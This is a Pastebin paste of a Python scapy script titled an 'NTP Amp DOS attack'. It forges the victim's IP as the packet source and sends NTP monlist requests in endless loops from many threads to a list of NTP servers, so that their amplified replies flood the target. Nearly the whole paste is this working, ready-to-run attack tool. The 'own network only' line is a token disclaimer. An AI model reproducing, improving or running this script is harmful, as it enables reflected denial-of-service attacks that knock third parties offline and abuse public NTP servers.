Advertisement
Guest User

Untitled

a guest
Jun 23rd, 2017
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.34 KB | None | 0 0
  1. #!/usr/bin/env python
  2. from scapy.all import *
  3. import sys
  4. import threading
  5. import time
  6. import random # For Random source port
  7. #NTP Amp DOS attack
  8. #by DaRkReD
  9. #usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10
  10. #FOR USE ON YOUR OWN NETWORK ONLY
  11.  
  12. # Random source port added by JDMoore0883
  13.  
  14. #packet sender
  15. def deny():
  16. #Import globals to function
  17. global ntplist
  18. global currentserver
  19. global data
  20. global target
  21. ntpserver = ntplist[currentserver] #Get new server
  22. currentserver = currentserver + 1 #Increment for next
  23. packet = IP(dst=ntpserver,src=target)/UDP(sport=random.randint(2000,65535),dport=123)/Raw(load=data) #BUILD IT
  24. send(packet,loop=1) #SEND IT
  25.  
  26. #So I dont have to have the same stuff twice
  27. def printhelp():
  28. print "NTP Amplification DOS Attack"
  29. print "By DaRkReD"
  30. print "Usage ntpdos.py <target ip> <ntpserver list> <number of threads>"
  31. print "ex: ex: ntpdos.py 1.2.3.4 file.txt 10"
  32. print "NTP serverlist file should contain one IP per line"
  33. print "MAKE SURE YOUR THREAD COUNT IS LESS THAN OR EQUAL TO YOUR NUMBER OF SERVERS"
  34. exit(0)
  35.  
  36. try:
  37. if len(sys.argv) < 4:
  38. printhelp()
  39. #Fetch Args
  40. target = sys.argv[1]
  41.  
  42. #Help out idiots
  43. if target in ("help","-h","h","?","--h","--help","/?"):
  44. printhelp()
  45.  
  46. ntpserverfile = sys.argv[2]
  47. numberthreads = int(sys.argv[3])
  48. #System for accepting bulk input
  49. ntplist = []
  50. currentserver = 0
  51. with open(ntpserverfile) as f:
  52. ntplist = f.readlines()
  53.  
  54. #Make sure we dont out of bounds
  55. if numberthreads > int(len(ntplist)):
  56. print "Attack Aborted: More threads than servers"
  57. print "Next time dont create more threads than servers"
  58. exit(0)
  59.  
  60. #Magic Packet aka NTP v2 Monlist Packet
  61. data = "\x17\x00\x03\x2a" + "\x00" * 4
  62.  
  63. #Hold our threads
  64. threads = []
  65. print "Starting to flood: "+ target + " using NTP list: " + ntpserverfile + " With " + str(numberthreads) + " threads"
  66. print "Use CTRL+C to stop attack"
  67.  
  68. #Thread spawner
  69. for n in range(numberthreads):
  70. thread = threading.Thread(target=deny)
  71. thread.daemon = True
  72. thread.start()
  73.  
  74. threads.append(thread)
  75.  
  76. #In progress!
  77. print "Sending..."
  78.  
  79. #Keep alive so ctrl+c still kills all them threads
  80. while True:
  81. time.sleep(1)
  82. except KeyboardInterrupt:
  83. print("Script Stopped [ctrl + c]... Shutting down")
  84. # Script ends here
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement